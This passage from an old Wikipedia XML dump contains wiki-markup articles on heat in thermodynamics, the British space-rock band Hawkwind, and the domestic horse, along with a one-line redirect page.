Heat is a [[process quantity]]&amp;mdash;as opposed to being a [[state quantity]]&amp;mdash;and is to thermal energy as [[mechanical work|work]] is to mechanical energy.  Heat flows between regions that are not in thermal equilibrium with each other; it spontaneously flows from areas of high [[temperature]] to areas of low temperature.  All objects ([[matter]]) have a certain amount of [[internal energy]], a state quantity that is related to the random motion of their [[atom]]s or [[molecule]]s. When two bodies of different temperature come into thermal contact, they will exchange internal energy until the temperature is equalized; that is, until they reach [[thermal equilibrium]]. The amount of energy transferred is the amount of heat exchanged. It is a common misconception to confuse heat with internal energy: heat is related to the change in internal energy and the work performed by the system.  The term heat is used to describe the ''flow'' of energy, while the term internal energy is used to describe the energy itself.   Understanding this difference is a necessary part of understanding the [[first law of thermodynamics]].

[[Infrared]] radiation is often linked to heat, since objects at room temperature or above will [[spontaneous emission|emit radiation]] mostly concentrated in the mid-infrared band (see [[black body]]). 

== Notation ==

'''Total heat''' is traditionally abbreviated as ''Q'', and is measured in [[joules]] in [[SI]] units. Total heat, heat transfer rate, and heat flux are often abbreviated with different cases of the letter ''Q''.  They are often switched in different contexts.  Regarding sign convention, when a body releases heat into its surroundings, ''Q''&amp;nbsp;&amp;lt;&amp;nbsp;0 (-). When a body absorbs heat from its surroundings, ''Q''&amp;nbsp;&amp;gt;&amp;nbsp;0 (+). '''Heat transfer rate''', or heat flow per unit time, is labeled:

:&lt;math&gt;\dot{Q} = {dQ\over dt} \,\!&lt;/math&gt;

to indicate a change per unit time. It is measured in [[watt]]s. '''Heat flux''' is defined as amount of heat per unit time per unit cross-sectional area, is abbreviated '''''q''''', and is measured in watts per meter squared.  It is also sometimes notated as ''Q''&amp;Prime; or ''q''&amp;Prime; or &lt;math&gt;\dot{Q}''&lt;/math&gt;.

==Thermodynamics==
The amount of heat energy, &lt;math&gt;\Delta Q&lt;/math&gt;, required to change the temperature of a material from an initial temperature, ''T''&lt;sub&gt;0&lt;/sub&gt;, to a final temperature, ''T&lt;sub&gt;f&lt;/sub&gt;'' depends on the [[heat capacity]] of that material according to the relationship:

:&lt;math&gt;\Delta Q = \int_{T_0}^{T_f}C_p\,dT \,\!&lt;/math&gt;

The heat capacity is dependent on both the amount of material that is exchanging heat and its properties. The heat capacity can be broken up in several different ways. First of all, it can be represented as a product of mass and [[specific heat capacity]] (more commonly called specific heat):

:&lt;math&gt;C_p = mc_s \,\!&lt;/math&gt;

or the number of [[mole (unit)|mole]]s and the molar heat capacity:

:&lt;math&gt;C_p = nc_n \,\!&lt;/math&gt;

Both the molar and specific heat capacities only depend upon the physical properties of the substance being heated, not on any specific properties of the sample. The above definitions of heat capacity only work approximately for [[solid]]s and [[liquid]]s, but for [[gas]]es they don't work at all most of the time. The molar heat capacity can be &quot;patched up&quot; if the changes of temperature occur at either a constant volume or constant [[pressure]].

Heat can be derived from the equation for [[internal energy]] &lt;math&gt; U &lt;/math&gt; by rearranging:
:&lt;math&gt;q = U - w \ &lt;/math&gt;.
where &lt;math&gt; w &lt;/math&gt; is [[work]]. It is important to note that although &lt;math&gt; U &lt;/math&gt; is a [[state function]] and therefore constant after each cycle of a [[heat engine]], neither &lt;math&gt;q &lt;/math&gt; nor &lt;math&gt; w &lt;/math&gt; is conserved.

==Changes of phase==

A boiling pot of [[water]], at [[sea level]] and normal atmospheric pressure, will always be at 100 &amp;deg;C no matter how much heat is added. The extra heat changes the phase of the water from liquid into [[water vapor]].  The heat added to change the phase of a substance in this way is said to be &quot;hidden,&quot; and thus it is called '''latent heat''' (from the [[Latin]] ''latere'' meaning &quot;to lie hidden&quot;). Latent heat is the heat per unit mass necessary to change the state of a given substance, or:

:&lt;math&gt;L = \frac{Q}{\Delta m} \,\!&lt;/math&gt;

and

:&lt;math&gt;Q = \int_{M_0}^{M} L\,dm \,\!&lt;/math&gt;

For example, turning 1 pound of water into one pound of steam at  100 °C and at normal atmospheric pressure would be: 1000 BTU = (1000 BTU/lb)(1 lb). Note that as pressure increases, the ''L'' rises slightly.  Here, &lt;math&gt;M_o&lt;/math&gt; is the amount of [[mass]] initially in the new phase, and ''M'' is the amount of mass that ends up in the new phase. Also,
''L'' generally doesn't depend on the amount of mass that changes phase, so the equation can normally be written:

:&lt;math&gt;Q = L\Delta m \,\!&lt;/math&gt;

Sometimes ''L'' can be time-dependent if pressure and volume are time-varying, so that the integral can be handled:

:&lt;math&gt;Q = \int L\frac{dm}{dt}dt \,\!&lt;/math&gt;

==Heat transfer mechanisms==

As mentioned previously, heat tends to move from a high temperature region to a low temperature region.  This heat transfer may occur by the mechanisms [[heat conduction|conduction]] and [[Thermal radiation|radiation]]. In [[engineering]], the term ''[[convection|convective heat transfer]]'' is used to describe the combined effects of conduction and fluid flow and is regarded as a third mechanism of heat transfer.

===Conduction===
[[heat conduction|Conduction]] is the most common means of heat transfer in a solid. On a microscopic scale, conduction occurs as hot, rapidly moving or vibrating atoms and [[molecule]]s interact with neighboring atoms and molecules, transferring some of their energy (heat) to these neighboring atoms. In [[insulators]] the heat current is carried almost entirely by [[phonon]] vibrations.

The &quot;electron fluid&quot; of a [[conductor (material)|conductive]] metallic solid conducts nearly all of the heat current through the solid. Phonon currents are still there, but carry less than 1% of the energy. Electrons also conduct [[electric current]] through conductive solids, and the [[thermal conductivity|thermal]] and [[electrical conductivity|electrical conductivities]] of most [[metal]]s have about the same ratio. A good electrical conductor, such as [[copper]], usually also conducts heat well. The [[Peltier-Seebeck effect]] exhibits the propensity of electrons to conduct heat through an electrically conductive solid.  [[Thermoelectricity]] is caused by the relationship between electrons, heat currents and electrical currents.

===Convection=== 

[[Convection]] is usually the dominant form of heat transfer in liquids and gases.  This is a term used to characterize the combined effects of conduction and fluid flow.  In convection, [[enthalpy]] transfer occurs by the movement of hot or cold portions of the fluid together with heat transfer by conduction.  For example, when water is heated on a stove, hot water from the bottom of the pan rises, heating the water at the top of the pan.   Two types of convection are commonly distinguished, ''free convection'', in which gravity and buoyancy forces drive the fluid movement, and ''forced convection'', where a fan, stirrer, or other means is used to move the fluid. [[buoyancy|Buoyant]] convection is due to the effects of gravity, and absent in [[microgravity]] environments.

===Radiation===

[[Thermal radiation|Radiation]] is the only form of heat transfer that can occur in the absence of any form of medium and as such is the only means of heat transfer through a [[vacuum]].  Thermal radiation is a direct result of the movements of atoms and molecules in a material.  Since these atoms and molecules are composed of charged particles ([[proton]]s and [[electron]]s), their movements result in the emission of [[electromagnetic radiation]], which carries energy away from the surface.  At the same time, the surface is constantly bombarded by radiation from the surroundings, resulting in the transfer of energy to the surface.  Since the amount of emitted radiation increases with increasing temperature, a net transfer of energy from higher temperatures to lower temperatures results.

For room temperature objects (~300 K), the majority of photons emitted (and involved in radiative heat transfer) are in the [[infrared]] spectrum, but this is by no means the only frequency range involved in radiation.  The frequencies emitted are partially related to [[black-body radiation]].  Hotter objects&amp;mdash;a campfire is around 700 K, for instance&amp;mdash;transfer heat in the visible spectrum or beyond.  Whenever EM radiation is emitted and then absorbed, heat is transferred.  This principle is used in [[microwave oven]]s, [[laser cutting]], and [[Electrolysis (cosmetology)|RF hair removal]].

==Other heat transfer mechanisms==

*[[Latent heat]]: Transfer of heat through a physical change in the medium such as water-to-ice or water-to-steam involves significant energy and is exploited in many ways: [[steam engine]], [[refrigerator]] etc. (see [[latent heat of fusion]])
*[[Heat pipe]]: Using latent heat and capilliary action to move heat, it can carry many times as much heat as a similar sized copper rod. Orignally invented for use in [[satellites]], they are starting to have applications in [[personal computer]]s.

==Heat dissipation==

In cold climates, houses with their heating systems form dissipative systems. In spite of efforts to insulate such houses, to reduce heat losses to their exteriors, considerable heat is lost, or dissipated, from them which would make their interiors uncomfortably cool or cold. The house is an open system in as much as it is incapable of preventing heat from escaping. Furthermore, the interior of the house must be maintained out of thermal equilibrium with its exterior for the sake of its inhabitants.

In such a house, a [[thermostat]] is a device capable of starting the heating system when the house's interior falls to a set temperature, and of stopping that same system when another set temperature has been achieved. Thus the thermostat controls the flow of energy into the house, that energy eventually being dissipated to the exterior.

==References==
&lt;div style=&quot;font-size:85%&quot;&gt;
#{{note|one}} Summation of the definitions give in the following six sources; see: [[Talk:Heat]].
#{{note|smith}}{{cite book|author= Smith, J.M., Van Ness, H.C., Abbot, M.M.|title=Introduction to Chemical Engineering Thermodynamics|publisher=McGraw-Hill|year=2005|id=ISBN 0073104450}}
#{{note|baierlein}}{{cite book|author= Baierlein, Ralph|title=Thermal Physics|publisher=Cambridge University Press|year=2003|id=ISBN 0521658381}}
#{{note|schroeder}}{{cite book|author= Schroeder, Daniel, R.|title=Thermal Physics|publisher=New York: Addison Wesley Longman|year=2000|id=ISBN 0201380277}}
#{{note|4}}[http://hyperphysics.phy-astr.gsu.edu/hbase/thermo/heat.html Discourse on Heat and Work] - Department of Physics and Astronomy, Georgia State University: Hyperphysics (online) 
#{{note|perrot}}{{cite book | author=Perrot, Pierre | title=A to Z of Thermodynamics | publisher=Oxford University Press | year=1998 | id=ISBN 0198565526}}
#{{note|clark}}{{cite book | author=Clark, John, O.E. | title=The Essential Dictionary of Science | publisher=Barnes &amp; Noble Books | year=2004 | id=ISBN 0760746168}}
#{{note|baeyer}}{{cite book|author=Baeyer, H.C. von |title=Warmth Disperses and Time Passes – the History of Heat|publisher=New York: The Modern Library|year=1998|id=ISBN 0375753729}}
&lt;/div&gt;

== See also ==
* [[Heat death of the Universe]]
* [[Heat equation]]
* [[Heat exchanger]]
* [[Heat pump]]
* [[Heat transfer coefficient]]
* [[How directness of sunlight causes warmer weather]]
* [[Internal energy]]
* [[Shock heating]]

== External links ==
*[http://hyperphysics.phy-astr.gsu.edu/hbase/heacon.html#heacon Heat and Thermodynamics] - Georgia State University
*[http://www.cheresources.com/convection.shtml Correlations for Convective Heat Transfer] - ChE Online Resources

[[Category:Heat| ]]

[[ar:حرارة]]
[[ca:Calor]]
[[cs:Teplo]]
[[da:Termisk energi]]
[[de:Wärme]]
[[el:Θερμότητα]]
[[es:Calor]]
[[eo:Varmo]]
[[fa:گرما]]
[[fr:Chaleur]]
[[gl:Calor]]
[[gu:ઉષ્મા]]
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[[ko:열]]
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[[nl:Warmte]]
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[[sl:Toplota]]
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[[tr:Isı]]
[[zh:熱量]]</text>
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    <title>Hypertext Transfer Protocol</title>
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      <timestamp>2005-09-18T12:03:53Z</timestamp>
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        <username>Lysdexia</username>
        <id>114127</id>
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      <text xml:space="preserve">#REDIRECT [[HyperText Transfer Protocol]]</text>
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  <page>
    <title>Hawkwind</title>
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      <id>42099211</id>
      <timestamp>2006-03-03T20:50:26Z</timestamp>
      <contributor>
        <username>Abound</username>
        <id>969677</id>
      </contributor>
      <comment>added to paragraph re influence</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
'''Hawkwind''' is a [[United Kingdom|British]] [[rock music]] group.

Formed in the summer of [[1969]] as '''Hawkwind Zoo''', they were offered a record deal by [[Liberty Records]] in November of that year and immediately shortened the band name to Hawkwind. Singer/songwriter/guitarist [[Dave Brock]] has been the only consistent band member though multiple personnel changes. Their music began as hard-driving [[blues rock]], but quickly added doses of [[psychedelic music]], with prominent use of [[special effect]]s and [[synthesizer]]s. Their music usually deals with urban and [[science fiction]] themes (writer [[Michael Moorcock]] was a collaborator), and Hawkwind are widely seen as one of the earliest [[space rock]] groups.

Their elaborate live performances (somewhat reminiscent of [[Sun Ra]]'s) quickly gathered them a [[cult following]], partly because they were seen as a 'community' ''Of the People - For the People'' group. Their second album ''[[In Search of Space]]'' was very successful.

Hawkwind were, along with the [[Pink Fairies]], key 'community bands' in [[Ladbroke Grove]], home of the Mountain Grill cafe. During the early [[1970s]] Hawkwind played a number of benefit gigs along with other 'community' bands/artists including [[Pink Fairies]] and [[Steve Took]] who, as a key member of the [[United Kingdom Underground|UK Underground]] went on to work with a number of Hawkwind members. 

Hawkwind achieved chart status with the release of the single &quot;[[Silver Machine]]&quot; in [[1972]] (Written by [[Dave Brock]] and [[Robert Calvert]], allegedly about his bicycle. Vocals by [[Lemmy Kilmister]]).  Their follow up single &quot;[[Urban Guerrilla (song)|Urban Guerrilla]]&quot; was banned by the BBC and withdrawn after increased [[terrorism|terrorist]] activity by the [[Provisional Irish Republican Army|Provisional IRA]].

Hawkwind have had a long-standing connection with many free festivals including the [[Stonehenge free festival]] that ran from [[1973]] until banned in [[1985]].  Authorities moved in &quot;with force&quot; to stop the event that 13th year as, under [[ancient charter]] law, it would have become a public festival for all time. The spirit of these festivals has been reawakened by their last two &quot;Hawkfest&quot; weekends.

On [[October 21]] [[2000]] the ''Hawkestra'', a band formed by virtually all former members of Hawkwind, played a sell-out gig at the [[Brixton Academy]].

Dozens of musicians have passed through Hawkwind over the years, but [[Dave Brock]] has been at the heart of the band since they formed. Other members have included [[Lemmy Kilmister]] (who went on to form [[Motörhead]]), [[Nik Turner]], [[Harvey Bainbridge]], [[Del Dettmar]], [[DikMik]] ,[[Huw Lloyd Langton]], [[Robert Calvert]], [[Paul Rudolph (musician)|Paul Rudolph]] (former ''Pink Fairies/[[Deviants (band)|Deviants]]'' member) and [[Twink (musician)|Twink]] (another ''Pink Fairies'' member) and more recently, [[Ron Tree]] as bassist and frontman. The 1990 album space bandits included a female vocalist [[Bridget Wishart]]. Other members who may have been better known for their careers outside Hawkwind include [[Ginger Baker]] and [[Arthur Brown (musician)|Arthur Brown]].

Also Hawkwind have been known for giving credit to non-musician members of their crew, such as [[Liquid Len]], a lighting engineer, and [[Stacia]], a dancer. Their distinctive graphic design was created by [[Barney Bubbles]], who would later create the graphic identity for [[Stiff Records]], where, due to it being a small world Larry Wallis (Pink Fairies and Motörhead with Lemmy) was an in-house Producer.

The [[science fiction]] writer [[Michael Moorcock]] has a long association with the band. One of Hawkwind's albums [[Hawkwind/Chronicle of the Black Sword|Chronicle of the Black Sword]] was based largely on Moorcock's [[Elric]] book series. The cover for this album was designed by (John Coulthart). Michael Moorcock wrote a piece called MESSAGES which appeared on the 1983 album ''Zones'' as ''Running Through the Backbrain'' with Moorcock on vocals.

Hawkwind should be partly credited for Lemmy's Motörhead [[speed metal]] style of music (so named because of the slang name &quot;Speed&quot; for [[amfetamine|Amphetamines]] which the members of Motörhead consumed with relish). Lemmy was sacked from Hawkwind after being arrested at customs with suspected [[Cocaine]], although analysis revealed it was amphetamines. He was ultimately released because he had been charged with the wrong crime, not because amphetamines were legal in Canada, as some have maintained.

Hawkwind have been an influence for many bands: Former [[Black Flag (band)|Black Flag]] and current [[Rollins Band]] singer [[Henry Rollins]] is a fan, as is [[Jello Biafra]]. The [[Sex Pistols]] included &quot;Silver Machine&quot; in their reunion performances of 2002; while reviewers may have seen this as &quot;ultra ironic&quot; [http://www.nme.com/reviews/10795.htm], [[John Lydon]] made it clear that this was a tribute [http://www.thefilthandthefury.co.uk/pistols/interviews/sp_john03.html]. Early [[Monster Magnet]] albums have a distinct Hawkwind feel, and they covered Brainstorm on their 3rd album, &quot;[[Superjudge]]&quot;.

Hawkwind founder member [[Nik Turner]] formed the relatively successful Punk oriented ''[[Inner City Unit]]'' with former ''[[Steve Took]]'s Horns'' members [[Judge Trev Thoms]] and [[Dino Ferari]]. In 2001, he launched a [[tribute band]] called XHawkwind.com, playing old '70s Hawkwind favorites, and featuring (unusually for a tribute band) ex-Hawkwind members. Dave Brock launched a court case over the band's name, which was successful in 2002. Nik Turner's band continues to perform, but is now SpaceRitual.net.

Two recent biographies of Hawkwind have been issued to supplement Kris Tait's outstanding &quot;This is Hawkwind: Do not Panic&quot;.  These are Ian Abrahams' &quot;Sonic Assassins&quot; (Published by SAF publishing; [[ISBN]]: 0946719691)  and Carol Clerk's &quot;Saga of Hawkwind&quot; (Publisher: Music Sales Limited [[ISBN]]: 1844491013)

==Discography==

Hawkwind's discography is baffling and large; this list just represents &quot;core&quot; albums. There are, in addition, compilations of previously recorded material and live recordings, which are not issued under the control of the band, and which frequently change their name, so one may find exactly the same material under several different names.  Titles from 1970 to 1974 are readily available on CD, and these CDs frequently include other rarities from this era, but albums from 1975 to 1979 were either never issued on CD or were only available in limited editions, making access to these recordings difficult and expensive. Most of the better tracks from 1975-1979 appear on disk 2 of the 3-disk compilation 'EpochEclipse'.

The [[Hawkwind/Space Ritual|Space Ritual]] concept album and [[Warrior on the Edge of Time]] in particular are representative of Hawkwind's style at the peak of their success.  Their [[1980s]] work is well represented by [[Levitation (album)|Levitation]] and [[Hawkwind/Chronicle of the Black Sword|Chronicle of the Black Sword]]. 

The [[1990s]] saw the band moving towards a [[world music]] approach.

For an extensive critical discography see this [http://www.starfarer.net/hwalbums.html Guide To Hawkwind Albums].
* [[1970]] [[Hawkwind (album)|Hawkwind]] 
* [[1971]] [[In Search of Space]] 
* [[1972]] [[Doremi Fasol Latido]] 
* [[1973]] [[Space Ritual]] (N.B. 'Space Ritual Volume 2' is actually alternate recordings of the same material)
* [[1974]] [[Hall of the Mountain Grill]] (named after their favourite &quot;[[greasy spoon]]&quot; in [[Ladbroke Grove]])
* [[1975]] [[Warrior on the Edge of Time]]
* [[1976]] [[Astounding Sounds, Amazing Music]]
* [[1976]] [[Roadhawks]] (a compilation)
* [[1977]] [[Quark, Strangeness and Charm]] 
* [[1978]] [[25 Years On]] (as Hawklords; some people consider this album to be called Hawklords)
* [[1979]] [[PXR5]] 
* [[1980]] [[Live Seventy-Nine]] 
* [[1980]] [[Levitation (album)|Levitation]] 
* [[1981]] [[Sonic Attack (album)|Sonic Attack]] 
* [[1982]] [[Church of Hawkwind]] 
* [[1982]] [[Choose Your Masques]]
* [[1983]] [[Zones (album)|Zones]] 
* [[1984]] [[Stonehenge / Do Not Panic]] 
* [[1985]] [[Chronicle of the Black Sword (album)|Chronicle of the Black Sword]] 
* [[1986]] [[Live Chronicles]] 
* [[1987]] [[Out and Intake]] 
* [[1988]] [[The Xenon Codex]] 
* [[1990]] [[Space Bandits]] 
* [[1991]] [[Palace Springs (album)|Palace Springs]] 
* [[1992]] [[Electric Tepee]] 
* [[1993]] [[It is the Business of the Future to be Dangerous]] 
* [[1994]] [[The Business Trip]]
* [[1995]] [[Alien 4 (album)|Alien 4]] 
* [[1996]] [[Love in Space]] 
* [[1997]] [[The 1999 Party]]
* [[1997]] [[Distant Horizons]] 
* [[1999]] [[In Your Area]]  
* [[2000]] [[Spacebrock]] (Dave Brock Solo)
* [[2001]] [[Yule Ritual]]
* [[2002]] [[Live at Canterbury Fayre]]
* [[2005]] [[Take Me to Your Leader]]

Under the alias-name Psychedelic Warriors:
* [[1995]] [[White Zone]]

==External links==
* [http://www.hawkwind.com Official Band Website]
* [http://www.aural-innovations.com/issues/issue13/hawk09.html Scot Heller's Review of the Hawkestra Concert]
* [http://www.starfarer.net/index.html Starfarer's Hawkwind Page] - An irreverent fan site devoted to Hawkwind, inventors of Space Rock
* [http://www.nikturner.com Nik Turner's Official Site]
* [http://www.motherofallbands.net Ron Tree's current project site]
* [http://www.lyricsdir.com/hawkwind-lyrics.html Hawkwind Lyrics]

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[[Category:Progressive rock groups]]
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  <page>
    <title>Horse</title>
    <id>13645</id>
    <revision>
      <id>42157129</id>
      <timestamp>2006-03-04T04:55:54Z</timestamp>
      <contributor>
        <username>Chris the speller</username>
        <id>525927</id>
      </contributor>
      <minor />
      <comment>/* Found in the United States */ sp</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox
| color = pink
| name = Domestic Horse
| status = {{StatusDomesticated}}
| image = Holsteiner Apfelschimmel-2005.jpg
| image_width = 225px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Perissodactyla]]
| familia = [[Equidae]]
| genus = ''[[Equus (genus)|Equus]]''
| species = '''''E. caballus'''''
| binomial = ''Equus caballus''
| binomial_authority = [[Carolus Linnaeus|Linnaeus]], 1758
}}

The '''horse''' (''Equus caballus'' or ''Equus ferus caballus'') is a sizeable [[ungulate]] [[mammal]], one of ten modern species of the genus ''[[Equus (genus)|Equus]]''. Horses have long been one of the most economically important [[domesticated]] animals, and have played an important role in the [[transport]] of people and cargo for thousands of years. Most notably, horses can be [[equestrianism|ridden]] by a person perched on a [[saddle]] attached to the animal, and are also widely [[horse tack|harnessed]] to pull objects like [[wheel]]ed [[vehicle]]s or [[plow]]s. In some human cultures, horses are also widely used as a source of [[Horse meat|food]]. Though isolated domestication may have occurred as early as [[5th millennium BC|4500 BC]], clear evidence of widespread use by humans dates to no earlier than [[2000 BC]], as evidenced by the [[Sintashta]] [[chariot burial]]s, thus firmly establishing the '''[[domestication of the horse]]'''. There are many types of horses. Some are very well known for certain things. Thoroughbreds are known for being race horses while no one above fifty pounds can ride a miniature horse.
 
Until the middle of the [[20th century]], armies used horses extensively in [[war horse|warfare]]; soldiers still refer to the groups of machines that have replaced horses on the battlefield as &quot;[[cavalry]]&quot; units, and sometimes preserve traditional horse-oriented names for military units ([[Lord Strathcona's Horse]]).

==Domestication of the horse and surviving wild species==
The earliest evidence for the [[domestication of the horse]] comes from [[Central Asia]] and dates to approximately [[40th century BCE|4,000 BCE]]. Competing theories exist as to the time and place of initial domestication. Wild species continued to survive into historic times. For example, the Forest Horse (''Equus ferus silvaticus'', also called the Diluvial Horse) is thought to have evolved into ''Equus ferus germanicus'', and may have contributed to the development of the heavy horses of northern [[Europe]], such as  [[Ardennais]].  

The [[tarpan]], ''Equus ferus ferus'', became extinct in 1880. Its genetic line is lost, but its [[phenotype]] has been recreated by a &quot;[[breeding back]]&quot; process, in which living domesticated horses with primitive features were repeatedly interbred. Thanks to the efforts of the brothers Lutz Heck (director of the [[Berlin]] [[zoo]]) and Heinz Heck (director of Tierpark Munich Hellabrunn), the resulting ''Wild Polish Horse'' or ''[[Konik]]'' more closely resembles the tarpan than any other living horse.

[[Image:Horse profile.jpg|thumb|250px|Horse's profile, [[Australia]]]]

[[Przewalski's Horse]] (''Equus ferus przewalskii''), a rare Asian species, is the only true wild horse alive today. [[Mongolia]]ns know it as the ''taki'', while the Kirghiz people call it a ''kirtag''. Small wild breeding populations of this animal exist in Mongolia. [http://www.treemail.nl/takh/]

===Wild vs. feral horses===
''Wild'' animals, whose ancestors have never undergone domestication, are distinct from ''[[feral]]'' animals, who had domesticated ancestors but now live in the wild. Several populations of feral horses exist, including those in the West of the [[United States]] and [[Canada]] (often called &quot;[[Mustang (horse)|mustangs]]&quot;) and in parts of [[Australia]] (&quot;[[brumby|brumbies]]&quot;) and [[New Zealand]] (&quot;[[Kaimanawa horse]]s&quot;). Isolated feral populations are often named for their geographic location; in Namiba feral animals known as Namib Desert Horses live in the desert, while the Sable Island Horses are resident on [[Sable Island]], Canada. Feral horses may provide useful insights into the behavior of ancestral wild horses.

The [[Icelandic horse]] ([[pony]]-sized but called a horse) provides an opportunity to compare contemporary and historical breed appearances and behaviour. Introduced by the [[Vikings]] into [[Iceland]], Icelandic horses did not subsequently undergo the intensive [[selective breeding]] that took place in the rest of Europe from the [[Middle Ages]] onwards, and consequently bear a closer resemblance to pre-Medieval breeds. The Icelandic horse has a four-beat [[horse gaits|gait]] called the &quot;[[tölt]]&quot;, which equates to the rack exhibited by several American gaited breeds.

==Other modern equids==
Other members of the horse family include [[zebra]]s, [[donkey]]s, and [[hemionids]].  The Donkey, Burro or Domestic Ass, ''Equus asinus'', like the horse, has many breeds.  A [[mule]] is a hybrid of a male ass and a mare and is infertile. A [[hinny]] is the less common hybrid of a female ass and a stallion. Recently breeders have begun crossing various species of zebra with mares or female asses to produce &quot;zebra mules&quot;&amp;mdash;zorses and zonkeys (also called zedonks). This will probably remain a novelty hybrid as these individuals tend to inherit some of the nervous, difficult nature of their zebra parent.

Full species list:

*Domesticated Horse (''Equus caballus'')
*[[Wild Horse]] (''Equus ferus'')
**[[Tarpan]] (''Equus ferus ferus'') ([[Extinction|extinct]])
**[[Przewalski's Horse]]  (''Equus ferus przewalskii'')
*Domesticated [[Donkey]] (''Equus asinus'')
*[[Wild Ass]] (''Equus africanus'')
*[[Onager]] (''Equus hemionus'')
*[[Kiang]] (''Equus kiang'')
*[[Mountain Zebra|Cape Mountain Zebra]] (''Equus zebra'')
*[[Mountain Zebra|Hartmann's Mountain Zebra]] (''Equus hartmannae'')
*[[Plains Zebra]] (''Equus quagga'')
*[[Grevy's Zebra]] (''Equus grevyi'')

==Evolution of the horse==
[[image:Eohippus.jpg|thumb|250px|Eohippus, the ancestor of all modern horses, was only 20cm (0.6 feet) in height]]
''Main article'': [[Evolution of the Horse]] 

All equids are part of the family ''Equidae'', which dates back approximately 54 million years to the Eocene period. Horses and other equids are [[odd-toed ungulate]]s of the order ''Perissodactyla'', a relatively ancient group of browsing and grazing animals that first arose less than 10 million years after the [[dinosaur]]s became extinct. Perissodactyls were the dominant group of large terrestrial browsing animals until the [[Miocene]] (about 20 million years ago), when [[even-toed ungulates]], with stomachs better adapted to [[grass]] digestion, began to outcompete them. At one time there were twelve families of odd-toed ungulates, though today only three survive; [[tapir]]s and [[rhinoceros|rhinoceroses]] are the closest living relatives of the modern horse. Horses are believed by scientists to have first evolved in what is now North America.

One of the first true horse species was the tiny [[Hyracotherium]], also known as ''eohippus'', &quot;the dawn horse&quot;. In the course of about 5 million years, this early equid evolved into the [[Orohippus]].  The vestiges of the 1st and 2nd toes vanished, but the additon of a new &quot;grinding&quot; tooth was significant in that it signalled a transition to improved browsing of tougher plant material.  This would allowing grazing not just leafy plants but plains grasses.  Their primary food source could transition from leaf-eating forest-dwellers to grass-eating inhabitants of the [[Great Plains]]. 

Horse evolution was characterized by a reduction in the number of toes, from 5 per foot, to 3 per foot, to only 1 toe per foot (late Myocine 5.3 million years ago).   The genus Equus, to which all living equids belong, evolved a few million years ago. Examples of extinct horse genera include: [[Propalaeotherium]], [[Mesohippus]], [[Miohippus]], [[Orohippus]], [[Pliohippus]], [[Anchitherium]], [[Merychippus]], [[Parahippus]], [[Hipparion]] and [[Hippidion]].

==Horse behaviour==
[[image:White horse.jpg|thumb|250px|[[Gray Horse]]]]

Horses are prey animals with flight or fight instinct.  Their first response to threat is to flee, although they are known to stand their ground and defend in cases where less capable horses would be left exposed, such as when a foal would be threatened.  Horse people commonly say that inside every domestic horse is a wild horse.  Through selective breeding, some horses have been made more docile, but most sport horse breeds are based on the principle of preserving the natural qualities of bravery, honesty, and athleticism that existed in horses that were taken from wild herds hundreds of years ago.

Horses are highly social and intelligent herd animals.  Like many other herd animals, their soceity is derived, or has evolved from survival instincts.   At the center of the herd is the alpha or dominant [[mare]].  The center of the herd is the safest because it is further away from predators than any other part.  The edge of the herd is where the lowest on the social order are found.  Punishment is delivered in the form of expulsion from the herd on a temporary or even permanent basis.

Herds are made up of mares, [[foals]] and immature horses of both sexes.  Survival of the species dictates that females and foals are of primary importance, because they give and nurture life.  Only a few males are needed--on a very temporary basis--to continue the species. The herd of twenty mares could produce twenty foals in one year.  They only need one or more stallions to impregnate all of them.

When colts become mature stallions they leave to roam in small bachelor herds. They are no longer welcome in the herd. Some of these horses may battle for the privilege of the most dangerous positiion in the equine world: dominant stallion.  

The dominant stallion lives in the most dangerous and tenuous position in the equine world. He lives on the periphery of the herd, exposed to predators and other bachelors who will fight him for that role. In stark contrast to the mythology of the stallion and his (ownership implied) harem, he has no value to the herd. He is totally dispensable since he is easily replaced.  The male dominance heirarchy insures an immediate replacement by a strong and healthy successor at any time.

[[image:horses.london.750pix.jpg|thumb|250px|Horses graze in a field near London, England]]

The ability for man to work in cooperation with the horse is based on the strong social bonds that horses have with each other.  Horses do not like to be separated from the herd, because to be alone is to be exposed to predators on all sides.  Horse training principles are based upon having the horse accept a person as the dominant herd member, not through force, but by virtue of ability and confidence.  It is those attributes that are highly valued because they point the way to survival.  A horse that is afraid more than necessary will expend energy needlessly and may not be able to escape when the threat is real.  In pastures, it is the rule that horses tend to gravitate around the most mature and confident members.

As with many animals that live in large groups, establishment of a stable hierarchy is important to smooth group functioning. Contention for dominance can be risky since one well placed kick to a leg could cripple another horse to such an extent that it would be defenseless, exposed, and possibly unable to get to water, and bites can cause serious damage as well. Survival dictates that the herd members ultimately cooperate and stick together. The dominant mare exercises control over herd members to moderate aggressive behavior. Providing that they do not regard humans as they would regard predators, horses will treat humans in much the same way that they treat other horses. As a result, horses will be willing to associate with humans in a cooperative way, but they may also challenge humans for dominance in the pasture. Humans who train horses must teach them that aggressive acts toward humans will meet with sure but measured and appropriate retaliation. Once horses have been deterred from kicking and biting humans to secure dominance over them, a cooperative relationship can be maintained. However, humans sometimes abuse horses. Abusing horses can be very dangerous to humans because the abused horse may eventually cease treating humans as members of their group and instead treat them as predators. Horse bites that go beyond a herd-friendly nip (actually a positive social communication) can sever not only fingers but arms and even legs. Horse kicks can be deadly. Ordinarily, horses are very forgiving of human misbehavior, but when the balance tips a horse can be a deadly enemy. Rehabilitation of a horse that has been forced to aggressively defend itself against some humans can be very difficult and risky. (See [[John Solomon Rarey]].)

==Specialized vocabulary==
Because horses and humans have lived and worked together for thousands of years, an extensive specialized vocabulary has arisen to describe virtually every horse behavioral and anatomical characteristic with a high degree of precision.

The English-speaking world measures the height of horses in ''hands''.  One hand is defined in British law as 101.6 mm, a figure derived from the previous measure of 4 [[Imperial unit|Imperial]] [[inch]]es.  Horse height is measured at the highest point of an animal's ''[[withers]]''. Perhaps because of extensive selective breeding, modern adult horses vary widely in size, ranging from [[miniature horse]]s measuring 5 hands (0.5 m) to draft animals measuring 19 hands (1.8 m) or more.  By convention, 15.2 hh ''means'' 15 hands, 2 inches (1.57 m) in height.

===Horses vs. ponies===
